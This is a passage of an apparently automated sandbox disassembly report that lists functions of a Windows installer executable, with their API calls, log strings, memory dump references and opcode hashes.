                                                                                                                                                                • Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
                                                                                                                                                                • Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
                                                                                                                                                                • Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
                                                                                                                                                                • Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28
                                                                                                                                                                Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
                                                                                                                                                                • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Timeout
                                                                                                                                                                • String ID: !
                                                                                                                                                                • API String ID: 1777923405-2657877971
                                                                                                                                                                • Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
                                                                                                                                                                • Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
                                                                                                                                                                • Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
                                                                                                                                                                • Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758
                                                                                                                                                                Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0040282E
                                                                                                                                                                • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                Strings
                                                                                                                                                                • DeleteRegKey: "%s\%s", xrefs: 00402843
                                                                                                                                                                • DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseDeleteOpenValuelstrlenwvsprintf
                                                                                                                                                                • String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
                                                                                                                                                                • API String ID: 1697273262-1764544995
                                                                                                                                                                • Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
                                                                                                                                                                • Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
                                                                                                                                                                • Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
                                                                                                                                                                • Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D
                                                                                                                                                                Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsWindowVisible.USER32(?), ref: 00404902
                                                                                                                                                                • CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970
                                                                                                                                                                  • Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$CallMessageProcSendVisible
                                                                                                                                                                • String ID: $@rD
                                                                                                                                                                • API String ID: 3748168415-881980237
                                                                                                                                                                • Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
                                                                                                                                                                • Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
                                                                                                                                                                • Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
                                                                                                                                                                • Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD
                                                                                                                                                                Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                  • Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
                                                                                                                                                                  • Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC
                                                                                                                                                                • lstrlenW.KERNEL32 ref: 004026B4
                                                                                                                                                                • lstrlenW.KERNEL32(00000000), ref: 004026C1
                                                                                                                                                                • SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
                                                                                                                                                                • String ID: CopyFiles "%s"->"%s"
                                                                                                                                                                • API String ID: 2577523808-3778932970
                                                                                                                                                                • Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
                                                                                                                                                                • Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
                                                                                                                                                                • Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
                                                                                                                                                                • Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59
                                                                                                                                                                Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrcatwsprintf
                                                                                                                                                                • String ID: %02x%c$...
                                                                                                                                                                • API String ID: 3065427908-1057055748
                                                                                                                                                                • Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
                                                                                                                                                                • Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
                                                                                                                                                                • Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
                                                                                                                                                                • Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794
                                                                                                                                                                Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • OleInitialize.OLE32(00000000), ref: 00405057
                                                                                                                                                                  • Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                                                                                                                • OleUninitialize.OLE32(00000404,00000000), ref: 004050A5
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: InitializeMessageSendUninitializelstrlenwvsprintf
                                                                                                                                                                • String ID: Section: "%s"$Skipping section: "%s"
                                                                                                                                                                • API String ID: 2266616436-4211696005
                                                                                                                                                                • Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
                                                                                                                                                                • Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
                                                                                                                                                                • Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
                                                                                                                                                                • Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D
                                                                                                                                                                Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDC.USER32(?), ref: 00402100
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000), ref: 00402107
                                                                                                                                                                • MulDiv.KERNEL32(00000000,00000000), ref: 00402117
                                                                                                                                                                  • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                                                                                                                • CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A
                                                                                                                                                                  • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CapsCreateDeviceFontIndirectVersionwsprintf
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1599320355-0
                                                                                                                                                                • Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
                                                                                                                                                                • Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
                                                                                                                                                                • Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
                                                                                                                                                                • Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D
                                                                                                                                                                Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
                                                                                                                                                                • lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
                                                                                                                                                                • lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
                                                                                                                                                                • lstrcpynW.KERNEL32(?,?,?), ref: 00407261
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrcpyn$CreateFilelstrcmp
                                                                                                                                                                • String ID: Version
                                                                                                                                                                • API String ID: 512980652-315105994
                                                                                                                                                                • Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
                                                                                                                                                                • Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
                                                                                                                                                                • Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
                                                                                                                                                                • Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5
                                                                                                                                                                Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00403303
                                                                                                                                                                • CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
                                                                                                                                                                • ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2102729457-0
                                                                                                                                                                • Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
                                                                                                                                                                • Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
                                                                                                                                                                • Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
                                                                                                                                                                • Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC
                                                                                                                                                                Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
                                                                                                                                                                • GetProcAddress.KERNEL32(?,00000000), ref: 00406395
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 0040639E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Global$AddressAllocByteCharFreeMultiProcWide
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2883127279-0
                                                                                                                                                                • Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
                                                                                                                                                                • Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
                                                                                                                                                                • Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
                                                                                                                                                                • Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675
                                                                                                                                                                Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
                                                                                                                                                                • lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: PrivateProfileStringlstrcmp
                                                                                                                                                                • String ID: !N~
                                                                                                                                                                • API String ID: 623250636-529124213
                                                                                                                                                                • Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
                                                                                                                                                                • Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
                                                                                                                                                                • Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
                                                                                                                                                                • Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718
                                                                                                                                                                Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00405C71
                                                                                                                                                                Strings
                                                                                                                                                                • Error launching installer, xrefs: 00405C48
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
